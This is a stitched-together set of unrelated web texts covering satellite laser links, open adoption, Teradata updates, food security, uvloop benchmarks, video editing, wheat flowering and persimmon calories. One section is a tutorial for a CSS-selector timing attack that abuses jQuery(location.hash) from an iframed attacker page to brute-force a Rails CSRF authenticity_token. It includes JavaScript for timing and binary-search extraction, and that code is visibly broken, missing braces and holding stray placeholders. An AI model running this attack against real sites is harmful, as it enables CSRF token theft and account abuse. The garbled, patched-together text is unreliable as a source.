The successful demonstration of space-to-ground high-speed laser communications by Changguang Satellite Technology (CGST) and the Aerospace Information Research Institute (AIR) of the Chinese Academy of Sciences (CAS) involved the development of several key technologies. These technologies include atmospheric channel prediction, task planning and scheduling, rapid capture, signal chain construction, adaptive optical correction of laser signals, and error-free transmission under complex atmospheric conditions.
The Jilin-1 satellites, operated by CGST, generally provide panchromatic imagery with resolutions between 0.50 and 0.75 meters. Other satellites in the Jilin-1 constellation have various capabilities, including video, multispectral, multipurpose, and infrared imaging. During the transmission tests, CGST published images delivered to Earth, showcasing the capabilities of their system.
This breakthrough is expected to enhance China's space information network by improving the transmission capacity and security. As China plans to expand its low Earth orbit satellite constellations, the use of high-speed laser communications, along with potential inter-satellite laser links, can help overcome challenges associated with limited global ground station infrastructure.
It's worth noting that while the tests demonstrated the accuracy of narrow beam optical transmissions of data through the atmosphere, Chinese sources did not mention details regarding the development of cost-effective optical terminals, which are essential for the practical implementation of laser communications technology. However, this successful demonstration marks a significant step forward for China in the field of high-speed space-to-ground data transmission.

Open adoption can leave doors closed for birth mothers, VU study finds
Birth mothers are still experiencing difficulties contacting children that were adopted almost three decades after laws were changed to give them this right, a Victoria University study has found.
Despite legal protection, complete breakdowns in communication with adoptive parents still occur and birth mothers often feel "undeserving" when exercising their right to see the relinquished child.
VU PhD graduate Dr Phillipa Castle interviewed 15 birth mothers aged 21 to 50 who had relinquished a child since the introduction of open adoption in Victoria in 1984.
Open adoption allows the birth mother to choose adoptive parents and negotiate a court-ordered agreement that details the frequency of contact between her and the child.
Dr Castle's study, titled A unique loss: The experience of birth mothers in open adoption, found 20 per cent of the birth mothers experienced an interruption to agreed contact times with the child or a total breakdown of the relationship with the adoptive family.
"The most disappointing aspect is that these birth mothers don't feel confident enough to challenge these violations of their legal agreement in the County Court,'' Dr Castle said. "Unfortunately, the law is not a useful tool of repair because a court case is too confronting or intimidating.
"It shows that birth mothers with terminated arrangements do not utilise the power of the Court if they think the child does not desire it, even if they believe that the child's response is merely a reflection of the adoptive parent's influence.''
She said training for adoptive parents needed to ensure they were "genuinely open to open adoption".
"In some cases the adoptive mother was described as jealous, and contact between the child and birth mother was manipulated, minimised or withdrawn.''
Dr Castle said that open adoption was a generally positive practice because contact between a birth mother and her relinquished child is "at least a partial solution to a painful decision, and a salve to an enormous loss for both parties''.
"Its main drawback is that ongoing contact is continually ambiguous. The birth mother sees that the child is ok and that they are ok without her. It is a solution that appears resistant to fully resolving the grief associated with the act of relinquishment,'' she said.
"As painful as it might continue to be, contact appears better than nothing. One woman told me that it is better to be happy and hurt than hurt and not know about it.''

Rapid Voltage Change (RVC)
A rapid voltage change is a fast rise or fall of the RMS voltage. This can be caused by the switching on of a specific load or by a sudden change in source voltage. Sudden source voltage changes can occur in solar grids when the sun is obscured by clouds. Source voltage changes can also occur in wind farms when then wind speed decreases. Load switching can cause a rapid voltage change if the rating of the load is a significant fraction of the fault level of the supply voltage.

15.10 - Optimized Method of Maintaining a Join Index During UPDATE Operations - Teradata Database
Teradata Database SQL Request and Transaction Processing
Teradata Database
Programming Reference
User Guide
Optimizations have been made for UPDATE requests that allow the affected join index rows to be located via direct access. For example, if an UPDATE request specifies a search condition on the primary or secondary of a join index, the affected join index rows are not reproduced. Instead, the join index may be directly searched for the qualifying rows and modified accordingly.
To use this optimized method (that is, the direct update approach), the following conditions must be present:
 - A primary or secondary access path to the join index.
 - If join_index_column_2 is defined, no modifications to join_index_column_1 columns.
 - No modifications to the join condition columns appearing in the join index definition.
 - No modifications to the primary index columns of the join index.
 - The following is an example of an optimized method for maintaining join index during an UPDATE request.
 UPDATE lineitem
 SET l_quantity=l_quantity - 5
 WHERE l_orderkey=10;
 *** Help information returned. 11 rows.
 *** Total elapsed time was 1 second.
 1) First, we execute the following steps in parallel.
 1) We do a single-AMP UPDATE from join index table
 df2.OrderJoinLine by way of the primary index
 "df2.OrderJoinLine.l_orderkey = 10" with a residual
 condition of ("df2.OrderJoinLine.l_orderkey = 10").
 2) We do a single-AMP UPDATE from df2.lineitem by way of the
 primary index "df2.lineitem.l_orderkey = 10" with no
 residual conditions.
 2) Finally, we send out an END TRANSACTION step to all AMPs involved
 in processing the request.

In this paper the vibration and power flow analysis for the branched piping system conveying fluid are performed by wave approach. The uniform straight pipe element conveying fluid is formulated using the dynamic stiffness matrix by wave approach. The branched piping system conveying fluid can be easily formulated with considering of simple assumptions of displacements at the junction and continuity conditions of the pipe internal flow. The dynamic stiffness matrix for each uniform straight pipe element can be assembled by using the global assembly technique using in conventional finite element method. The computational method proposed in this paper can easily calculate the forced responses and power flow of the branched piping system conveying fluid regardless of finite element size and modal properties.

Food security is an issue that affects around 10 percent of households in the United States. While the figure remained unchanged from the year before, it is still a considerable number as it affected millions of households across the country.
Aside from income, supply issues can affect food security among many people. So, stakeholders need to work towards preventing issues in the food supply. But it requires several approaches to deal with the issue and reduce the effect of food insecurity in the general population.
Here are the things that stakeholders should do to prevent issues with the food supply in the country.
Ensuring Sufficient Food Supply
Ensuring a sufficient supply of food is important to reduce food supply issues. Technological advancements allowed crop production to grow even though labor and land use decreased. Stakeholders also expect farm income to increase as crop production increases.
But environmental issues can affect crop production, especially when it comes to climate change. So, stakeholders need to find ways to reduce the effect of environmental issues on food supply. Aside from developing more resilient crops, they can also grow crops in special greenhouses designed for cold climates.
These structures can provide a stable environment for plants even in the middle of winter. They also do not rely on fossil fuels, which helps reduce pollution and promote plant growth.
Stakeholders should also adopt safe food production practices. They should ensure their production systems can adapt to different changes in the environment. Stakeholders should consider potential risks that can affect the safety of food.

When the pandemic started, people set up gardens in their backyards. Homeowners set up these gardens to ensure they have a supply of food in case the pandemic worsens and affects the supply chain.
Similarly, community gardens started to provide a stable supply of food in their communities. These community gardens responded to empty grocery and supermarket shelves, which came after issues that affected the food supply chain due to the pandemic.
Setting up community gardens can help reduce food insecurity within low-income communities. It can alleviate nutritional gaps among urban residents since it provides access to fresh fruits and vegetables. It also allows them to supplement their diets with nutritional food.
Households that participate in these community gardens also develop a sense of belongingness. It also promotes social connectedness and encourages households to remain committed to their communities. Additionally, it developed mutual trust among the members of the community.
Keep the Food Safe
Stakeholders should make sure the food is nutritious and safe to consume. Unsafe food causes lost productivity when people have to deal with the effects of consuming the food. Even though it affects low to middle-income families, they make up the majority of rank-and-file employees.
To deal with the situation, stakeholders should promote sustainable agricultural systems and support collaboration among the health and agricultural sectors. It's also essential to comply with international standards when it comes to food safety.
Set Up a Community Fridge
Aside from a community garden, a community fridge is another way to ensure food security in low-income areas across the country. Setting up these outdoor refrigerators allows people to leave and take food for their families.
The pandemic saw many community fridges set up in different parts of the country. The need to have fresh fruits and vegetables available for people sparked the concept. People started plugging refrigerators full of food outside stores, restaurants, and bodegas. The idea was for people to take what they needed and leave what they could.
Community fridges solved the problem of how to bring fresh fruits and vegetables to people who need them. It bypassed food pantries' regulations since there were no identity checks or forms to fill out.
Provide Assistance to SMEs
Assisting small and medium enterprises (SMEs)is also important to ensure low to middle-income areas have access to the limited resources available in the country. SMEs connect farmers to retailers, distributors, and small processors. Despite the important role in ensuring food security, SMEs have little knowledge about accessing government assistance programs.
Stakeholders should reach out to them and create a cooperative ecosystem that includes private and public partners. Large companies should also support the ecosystem through capacity-sharing to ensure SMEs stay afloat amid a health crisis. They can help SMEs bring food to the market and support efforts in maintaining food safety standards to protect consumers' health.
The pandemic affected the supply of food, which made it essential for stakeholders to work together in ensuring food security in low to middle-income areas in different parts of the country.

CSI: UW Pilot Episode
Most people are familiar with the television show CSI: Crime Scene Investigation. On the show, a group of crime lab technicians, police, and others examine evidence using tools and procedures to uncover killers and/or discover the circumstances of a crime. There is a new group at the University of Wyoming who will endeavor to bring tools, procedures, and information to the campus community for computer, data, and identity protection. This group is the Computer Security Initiative: University of Wyoming team; otherwise known as CSI: UW.
The CSI: UW team will, over the course of the academic year, raise the awareness of computer users about the risks of networks and the Internet. They will provide information on how to keep users safe, and guide users towards safe computing practices. The team will offer training and informational lectures for individuals and groups on campus, as well as discuss such information through articles in the Branding Iron and other campus communications channels.
The primary focus of the CSI: UW team is to make users – faculty, staff, and students – aware that they are responsible for their own computer and data security and instill in them a personal commitment to online safety. Well-known security issues such as passwords, viruses, spyware, hacking, and phishing will be discussed, along with some possible solutions. Information will be provided throughout the year on less known issues. The CSI: UW team will help teach physical and system security precautions, establish realistic expectations, teach users to share best practices with peers, and improve security in the workplace and in home work environments. Some of the topics the team will touch on in upcoming episodes include:
 - Who is responsible for security?
 - What does the University of Wyoming do to protect computers and data?
 - What can happen to you, your computer, and your data?
 - How do these things happen?
 - What can someone do with your password, and how can you make it more secure?

Energistics Transfer Protocol (ETP) Software Development Kit (SDK)
Energistics Transfer Protocol (ETP) Software Development Kit (SDK)
The ETP Software DevKit provides a common foundation and basic infrastructure to simplify and standardize creating applications that transfer WITSML, PRODML and RESQML data via the Energistics Transfer Protocol.

about the devkit
The ETP Specification defines the messages and interfaces that can be used to exchange data between applications that support the EnergyML family of data standards: WITSML, PRODML and RESQML. The messages define the content that is exchanged between applications and the interfaces define the expected behavior in exchanging messages. More information about ETP resources can be found at here.

The ETP DevKit is a .NET library providing a common foundation and the basic infrastructure needed to communicate via the Energistics Transfer Protocol (ETP). The library is written in C# using the .NET Framework version 4.5.2. It is designed to simplify and standardize ETP client and server development by integrating the necessary dependencies and abstracting away the lower level details of communicating via ETP. It builds on the ETP Messages library, which provides .NET definitions for the ETP messages and associated data structures.

The ETP DevKit provides a definition and base implementation of each interface described in the ETP Specification. Each interface implementation has been developed as a protocol handler that can be used out of the box or extended to provide additional functionality. This abstracts away the low level details of sending and receiving messages between clients and servers. Customized processing of messages can be achieved either by registering handlers for the various interface events or by deriving from the library's protocol handlers and overriding the virtual message handling methods.

The aim of the ETP DevKit is to reduce the time it takes to develop and evaluate the latest version of the standards utilizing the Energistics Transfer Protocol and to provide a shared and tested framework for establishing and facilitating communication between applications needing to exchange data.

uvloop: Blazing fast Python networking
by Yury Selivanov _USER_
May 03, 2016
asyncio is an asynchronous I/O framework shipping with the Python Standard Library. In this blog post, we introduce uvloop: a full, drop-in replacement for the asyncio event loop. uvloop is written in Cython and built on top of libuv.
uvloop makes asyncio fast. In fact, it is at least 2x faster than nodejs, gevent, as well as any other Python asynchronous framework. The performance of uvloop-based asyncio is close to that of Go programs.
asyncio & uvloop
The asyncio module, introduced by PEP 3156, is a collection of network transports, protocols, and streams abstractions, with a pluggable event loop. The event loop is the heart of asyncio. It provides APIs for:
 - scheduling calls,
 - transmitting data over the network,
 - performing DNS queries,
 - handling OS signals,
 - convenient abstractions to create servers and connections,
 - working with subprocesses asynchronously.
As of this moment, uvloop is only available on *nix platforms and Python 3.5.
uvloop is a drop-in replacement of the built-in asyncio event loop. You can install uvloop with pip:
$ pip install uvloop
Using uvloop in your asyncio code is as easy as:
import asyncio
import uvloop
The above snippet makes any asyncio.get_event_loop() call return an instance of uvloop.
You can also create a uvloop instance explicitly, by calling uvloop.new_event_loop()
uvloop is written in Cython and is built on top of libuv.
libuv is a high performance, multiplatform asynchronous I/O library used by nodejs. Because of how wide-spread and popular nodejs is, libuv is fast and stable.
uvloop implements all asyncio event loop APIs. High-level Python objects wrap low-level libuv structs and functions. Inheritance is used to keep the code DRY and ensure that any manual memory management is in sync with libuv primitives' lifespans.
To check how the performance of uvloop stacks up against other implementations, we have created a toolbench to benchmark TCP and UNIX sockets I/O, and the performance of HTTP protocol.
Benchmarked servers run inside a Docker container with an outside load-generating tool (wrk for HTTP benchmarks) that measures request throughput and latency.
All benchmarks in this blog post were run on an Intel Xeon CPU E5-1620 v2 @ 3.70GHz, and Ubuntu Linux. We use Python 3.5, and all servers are single-threaded. Additionally, we use GOMAXPROCS=1 for Go code, nodejs does not use cluster, and all Python servers are single-process. Every benchmark sets the TCP_NODELAY flag.
Benchmarks on Mac OS X exhibit very similar results.
This benchmark tests the performance of a simple echo server with different message sizes. We use 1, 10, and 100 KiB packages. The concurrency level is 10. Each benchmark was run for 30 seconds.
See also the full TCP benchmarks report.
Some comments on each position:
 1. asyncio-streams. asyncio with its built-in, pure-Python event loop. In this benchmark, we test the performance of the high-level streams abstraction. We use asyncio.create_server() to create a server that passes a pair of (reader, writer) to the client coroutine.
 2. tornado. This server implements a very simple Tornado protocol, which immediately sends back any data it receives.
 3. curio-streams. Curio is the new kid on the Python aio lib block. Similarly to asyncio-streams, in this benchmark we test curio streams, using curio.make_streams() to create a pair of (reader, writer) that provide a high-level APIs such as readline().
 4. twisted. Similarly to Tornado, here we test a minimal echo protocol.
 5. curio. This benchmark tests the performance of curio sockets: a tight loop of sock.recv() and sock.sendall() coroutines.
 6. uvloop-streams. As in #2, here we test the performance of asyncio high-level streams, but this time on top of uvloop.
 7. gevent. We use gevent.StreamServer and a gevent socket to send/receive data in a tight loop.
 8. asyncio. It appears that vanilla asyncio is quite fast! Similarly to #2 and #4, here we test the performance of a minimal echo protocol implemented in pure-Python asyncio.
 9. nodejs. We use the net.createServer API to test the streams performance in nodejs v4.2.6.
 10. uvloop. This benchmark tests a minimal echo protocol (as in #2, #4, #8) implemented in asyncio, on top of uvloop. With 1 KiB messages, uvloop is the fastest implementation with whopping 105,000 requests per second! For 100 KiB messages, uvloop manages to pump through about 2.3 GiB/s.
 11. Go. A tight loop of _URL_ calls. Golang performance is very similar to uvloop, slightly better for 10 and 100 KiB messages.
How to read box-charts: 99%75%50%25%min
Code for all benchmarks can be found here.
See also UNIX sockets benchmark results.
Initially, we wanted to test aiohttp on asyncio and uvloop against nodejs and Go. aiohttp is the most popular framework for writing asynchronous HTTP servers and clients with asyncio.
See also the full HTTP benchmarks report.
However, the performance bottleneck in aiohttp turned out to be its HTTP parser, which is so slow, that it matters very little how fast the underlying I/O library is. To make things more interesting, we created a Python binding for http-parser (nodejs HTTP parser C library, originally developed for Nginx). The library is called httptools, and is available on Github and PyPI.
For HTTP, all benchmarks use wrk to generate the load. The concurrency level is set to 300. The duration of each benchmark is 30 seconds.
Quite surprisingly, pure-Python asyncio, with the help of high-performance HTTP parser is faster than nodejs, which uses the same HTTP parser!
Go is faster for 1 KiB responses, but uvloop+asyncio is measurably better for 10/100 KiB responses. The quality of service is excellent for asyncio and uvloop with httptools, as wells as for Go.
Admittedly, httptools-based server is very minimal and does not include any routing logic, unlike other implementations. Nonetheless, the benchmark demonstrates how fast uvloop can be with an efficiently implemented protocol.
It is safe to conclude that, with uvloop, it is possible to write Python networking code that can push tens of thousands of requests per second per CPU core. On multicore systems a process pool can be used to scale the performance even further.
uvloop and asyncio, combined with the power of async/await in Python 3.5, makes it easier than ever to write high-performance networking code in Python.
Please try uvloop (github) and share your results with us!


Have you ever encountered a website that runs jQuery(location.hash)? Seemingly pretty harmless, right? location.hash always starts with a "#" so all this code does is execute a CSS query selector. It turns out that's enough to perform a timing attack that can extract almost any secret string from the HTML.
Let's start with the basics. A CSS selector is used to match and select HTML elements and looks like these: div, a[href], input[name=authenticity_token]. With CSS3 you can have even more complicated selectors - for example input[value^='x'] matches an input element whose value attribute starts with 'x'.
Now over to the next ingredient of the timing attack. The best way to learn is by experimentation, so open your browser console (Ctrl-Shift-K in Firefox, Ctrl-Shift-J in Chrome). Execute $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"). Unless you have a very fast computer it should delay slightly before returning. Now execute $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='doesntexist']"). Notice how much faster it was? You have just discovered a very interesting property of CSS selectors: short-circuiting. The browser evaluates the selector right-to-left, so it starts searching for main[id='site-main']. When it finds it, it has to make sure it has a parent element that matches *:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))). This part is what takes so long (the :has pseudo-class is not implemented in the browser, but in jQuery). For the other selector, the browser evaluates main[id='doesntexist'], then when it doesn't find it, it just quits, ignoring the rest of the selector. In other words, it exhibits the same short-circuiting behavior as and/&& in most programming languages - just backwards.
The timing attack is beginning to take shape. Let's say we want to extract the authenticity_token (which protects against CSRF in Rails applications). If we execute the selector *:has(:has(:has(*)) :has(*) :has(*)) input[name=authenticity_token][value^='x'], it will take a long time only if the authenticity_token starts with 'x'. But there's still a crucial problem left: how do we measure this time difference? The answer comes from a blog post by Eduardo Vela. The brilliant insight he offers is that the victim site and attacker site both run in the same thread, so a long running javascript process on the victim site will block execution on the attacker site. This gives us a way to detect when a selector is spending a long time executing.
I've set up an example site so we can experiment more easily: _URL_ Try to append _TAG_ to the URL and see what happens. View the page source and look at the hashchange handler to see exactly what it does. I've also set up the attacker site at _URL_ which embeds the victim site as an iframe. Now, back to the hack; hack.sheddow.xyz can schedule a callback to be executed later with setTimeout, then execute the selector on the victim site (via the hashchange handler in our case). If the hashchange handler is very slow, it will delay execution of the callback, and this delay can be measured with window.performance.now. Let's try to convert this into code.
const WAIT_TIME = 6;
const VICTIM_URL = "_URL_
function get_execution_time(selector) {
 var t0 = window.performance.now();
 var p = wait(WAIT_TIME).then(_ => Promise.resolve(measure_time(t0)))
 window.frames[0].location = VICTIM_URL + "_TAG_," + encodeURIComponent(selector) + "," + Math.random();
 return p;
function measure_time(t0) {
 var t = window.performance.now() - t0;
 return t;
First we define a function wait so that we can work with Promises instead of with setTimeout directly. get_execution_time returns a Promise that should resolve in WAIT_TIME milliseconds, but before that, it executes the hashchange handler. The hashchange handler will hog the thread, and resolution of the Promise will be delayed. If the hashchange handler takes 50ms to execute, the Promise will resolve in atleast 50ms, and it will resolve to a value equal to the time it took. The WAIT_TIME is just to make sure the hashchange handler starts executing before the promise resolves. Test it out at _URL_ open the browser console, enter get_execution_time("p").then(console.log), and it should show about 10-20ms. Then try get_execution_time("*:has(*:has(*))").then(console.log), and it should show something closer to 100ms. At this point we can start brute-forcing the authenticity_token: just do get_execution_time("*:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='a']") for each possible character, and the one that takes the longest time is probably the right one.
It's still possible to make it faster though. If you're familiar with blind SQL injection, you'll know that testing character by character is not the most optimal strategy. As with blind SQL injection, each query yields one bit of information ("fast" or "slow"), so it should be possible to halve the search space for each query. The trick is to test lots of characters at the same time, and use a binary search-like algorithm to narrow it down. Let's say we start testing abcdefghijklmnopqrstuvwxyzABCDEF. We can combine the selectors with a comma, so we'll end up with a super-long selector that looks something like *:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='a'], *:has(*:has(*) *:has(*) *:has(*) *:has(*)) input[name=authenticity_token][value^='b'],.... We then compare the execution time of these characters with the execution time of GHIJKLMNOPQRSTUVWXYZ0123456789+/, and whichever took the longest contains the correct character. Then we just split the correct string in half and repeat the process on the two substrings, recursively, until we hit upon the correct character.
Let's turn this into code. I'm gonna use async/await to make the code slightly cleaner.
const SLOW_SELECTOR = "*:has(*:has(*) *:has(*) *:has(*) *:has(*))";
const SELECTOR_TEMPLATE = "input[name=authenticity_token][value^='{}']";
async function binary_search(prefix, characters) {
 console.log("Testing '" + characters + "'");
 if (characters.length == 1) {
 return characters[0];
 var mid = Math.floor(_URL_
 var s1 = make_selector(prefix, characters.slice(0, mid));
 var s2 = make_selector(prefix, characters.slice(mid, characters.length));
 var t1 = await get_execution_time(s1);
 var t2 = await get_execution_time(s2);
 if (t1 < t2) {
 return binary_search(prefix, characters.slice(mid, characters.length));
 else {
 return binary_search(prefix, characters.slice(0, mid));
function make_selector(prefix, characters) {
 return characters
 .map(c => SLOW_SELECTOR + " " + SELECTOR_TEMPLATE.replace("{}", prefix + c))
Relatively straightforward. It just splits characters in two, measures the execution time of each half, then recursively calls itself. If you run binary_search("", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/").then(console.log) on _URL_ it should return g.
Finally, we can start bruteforcing the entire token. Just do something like
var token = "";
while (token.length < TOKEN_LENGTH) {
 var c = await binary_search(token, BASE64_CHARS);
 token += c;
and you're good, right? Not so fast. If just a single character is guessed incorrectly it will throw all future queries off. You're almost guaranteed to end up with an incorrect token. Fortunately the time difference between a correct and incorrect query should be so great that we can detect whether we have guessed incorrectly. Just create a function
function approximately_equal(t1, t2) {
 var diff = Math.abs(t1 - t2);
 return diff <= 0.2*t1 || diff <= 0.2*t2;
and modify binary_search to return null if t1 and t2 are approximately equal. Now let's try again:
const BASE64_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
const TOKEN_LENGTH = 43;
async function bruteforce_token() {
 var misses = 0;
 var token = "";
 while (token.length < TOKEN_LENGTH) {
 var c = await binary_search(token, BASE64_CHARS);
 if (c === null) {
 if (misses == 3) {
 token = token.slice(0, -1); // Backtrack
 else {
 token += c;
 misses = 0;

Vector graphics are great to use when you don't know the size you want the graphic to be. With vector graphics, the image is saved as series of points and equations. These equations draw the image depending on the size. This means no matter the size the vector image will never blur or pixelate. Vector images therefore are great for scaling, animation, and multi-purpose uses. Premiere Pro recently added support for vector graphics through vector motion controls. Today I show you how to use vector motion controls in Adobe Premiere Pro CC.
How to Use Vector Motion Controls in Adobe Premiere Pro CC
- Create a new sequence, or navigate to the sequence you want to add the graphics layer to.
- Create a graphics layer through one of the shape tools, or the text tool.
- Click on the graphics layer in the sequence, and then go up to effect controls.
- Now look inside for "Vector Motion"
- Adjust any of the settings in "Vector Motion" to create a vector transformation.
- This will insure the graphic remains crisp no matter the transformation you give it.
It's that simple. Adobe put it right in the common workflow. The only change you really need to make is to use the vector motion tab instead of the regular motion tab. After that, Adobe does the rest.
If you have any questions or comments, leave them below, or on the video itself!

The timing and synchrony of male and female flowering in wheat is a crucial determinant of seed set and may be an important factor affecting gene flow and resilience to climate change. Lukac et al. assess the anther and stigma activity of each floret on developing ears of wheat, Triticum aestivum, and find that synchrony between pollen dehiscence and stigma collapse within a flower is dependent on its relative position in a spike and within a floret. Modelling the observations indicates that the temporal and spatial variability of anther activity within and between spikes may influence the relative resilience of wheat to sudden, extreme climatic events.

High concentrations map
Data allows us to see and quantify where things are happening. When creating maps about behaviors among the population, we tend to see patterns based on where most people live. Overcome this by showing the value as a percentage of the total. For example, this map shows us where people speak Spanish at home, based on data from the American Community Survey. To identify concentrations of Spanish speakers, use an Arcade expression, much like a Microsoft Excel formula.

Amount of Calories in Japanese Persimmon Foods
The amount of calories in Japanese Persimmon foods like Jam, Pie and Juices is also different. Calorie content of different Japanese Persimmon foods is:
Calories in Juice: 90.00 kcal
Calories in Jam: 345.00 kcal
Calories in Pie: 284.00 kcal
In nutritional terms, the calorie content of Japanese Persimmon is the energy obtained through its consumption. Here is a simple equation to maintain a balance between calorie levels: The amount of energy consumed must be equal to the amount of energy utilized. If low, the person may become weak and if high, this energy is stored in the form of fat. Everyone needs calories for proper functioning of body and Japanese Persimmon calories will not alter the diet in any hazardous way. Calorie requirements vary depending upon the physical activities, age, weight, height and health of the individual.
